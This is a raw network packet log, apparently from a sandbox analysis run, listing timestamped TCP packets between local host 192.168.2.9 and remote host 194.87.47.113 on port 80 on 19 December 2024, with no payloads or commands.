Dec 19, 2024 08:01:06.253065109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.253077030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.253122091 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.254410028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.254427910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.254441977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.254484892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.254499912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.254909039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.254970074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.254988909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.255034924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.256031036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256043911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256059885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256094933 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.256108999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.256798983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256840944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256851912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.256890059 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.257832050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.257882118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.257893085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.257935047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.258687019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.258749962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.258761883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.258800030 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.310686111 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.387823105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.387857914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.387870073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.387952089 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.388097048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.388235092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.388247967 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.388284922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.389205933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.389260054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.389314890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.389514923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.389566898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.389580011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.389617920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.390367985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.390394926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.390405893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.390429020 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.390465975 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.391309977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.422847033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.422874928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.422888041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.422924042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.422951937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.423226118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.423418999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.423472881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.423476934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.423491001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.423531055 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.424377918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.424439907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.424453020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.424500942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.425327063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.425384998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.425401926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.425416946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.425462961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.426312923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.426333904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.426347017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.426382065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.427237034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.427278042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.427290916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.427300930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.427329063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.428183079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.428226948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.428240061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.428286076 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.429127932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.429183960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.429197073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.429277897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.430052042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.430099964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.430114031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.430150032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.431021929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.431044102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.431056023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.431077957 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.431093931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.431994915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432054996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432068110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432106972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.432924986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432972908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432985067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.432987928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.433063984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.433907986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434026003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434037924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434061050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.434832096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434885025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.434916019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434927940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.434967041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.435789108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.435838938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.435851097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.435897112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.436723948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.436764002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.436788082 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.436801910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.436841965 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.437711954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.437817097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.437828064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.437877893 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.438637972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.438678026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.438688993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.438733101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.439564943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.439615965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.439627886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.439671040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.440536022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.440606117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.440618038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.440664053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.441577911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.441612959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.441622972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.441636086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.441673994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.442454100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.442497015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.442511082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.442512989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.442548037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.443438053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.443449974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.443459988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.443511009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.444399118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.444411039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.444422007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.444480896 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.445405960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.445456028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.445468903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.445521116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.446690083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.446767092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.446774960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.446779966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.446820974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.447329044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.447379112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.447391033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.447418928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.448524952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.448575020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.448586941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.448632002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.449551105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.449615002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.449626923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.449676991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.450601101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.450645924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.450658083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.450678110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.450705051 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.451373100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.451395988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.451406002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.451446056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.579946995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.579973936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.580029964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.580054998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.580152035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.580163956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.580204010 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.580991983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581022024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581032991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581084013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.581752062 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581809044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581820011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.581861019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.582914114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.582926035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.582978964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.583028078 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.583061934 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.583683014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615257978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615278006 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615293026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615418911 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.615473032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615657091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615705013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.615710974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615725040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.615781069 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.616647959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.616707087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.616725922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.616767883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.617573977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.617630005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.617641926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.617681980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.617706060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.618572950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.618592978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.618607044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.618643999 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.619543076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.619589090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.619606972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.619613886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.619729996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.620429039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.620475054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.620487928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.620554924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.621373892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.621432066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.621444941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.621480942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.621514082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.622344017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.622399092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.622414112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.622451067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.623286963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.623327017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.623339891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.623368979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.623395920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.625302076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625319004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625333071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625344992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625358105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625372887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.625375032 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.625395060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.625412941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.626887083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.626904011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.626924992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.626980066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.627094030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.627168894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.627182007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.627211094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.627413034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.628093958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.628144979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.628257990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.628313065 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.628973007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.629040956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.629097939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.629107952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.629139900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.629934072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.629956961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.629970074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.630001068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.630889893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.630984068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.630996943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.631028891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.631055117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.631896973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.631910086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.631923914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.631952047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.632793903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.632831097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.632843971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.632873058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.632900953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.633759022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.633826971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.633838892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.633865118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.634694099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.634720087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.634732008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.634756088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.634779930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.635621071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.635694027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.635706902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.635735989 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.636677027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.636694908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.636707067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.636774063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.637588978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.637619019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.637634039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.637646914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.637685061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.638493061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.638544083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.638556957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.638587952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.638608932 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.639734983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.639741898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.639744997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.639853001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.640444994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.640491962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.640503883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.640510082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.640544891 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:06.641509056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.641597986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.641611099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:06.641664028 CET	49739	80	192.168.2.9	194.87.47.113
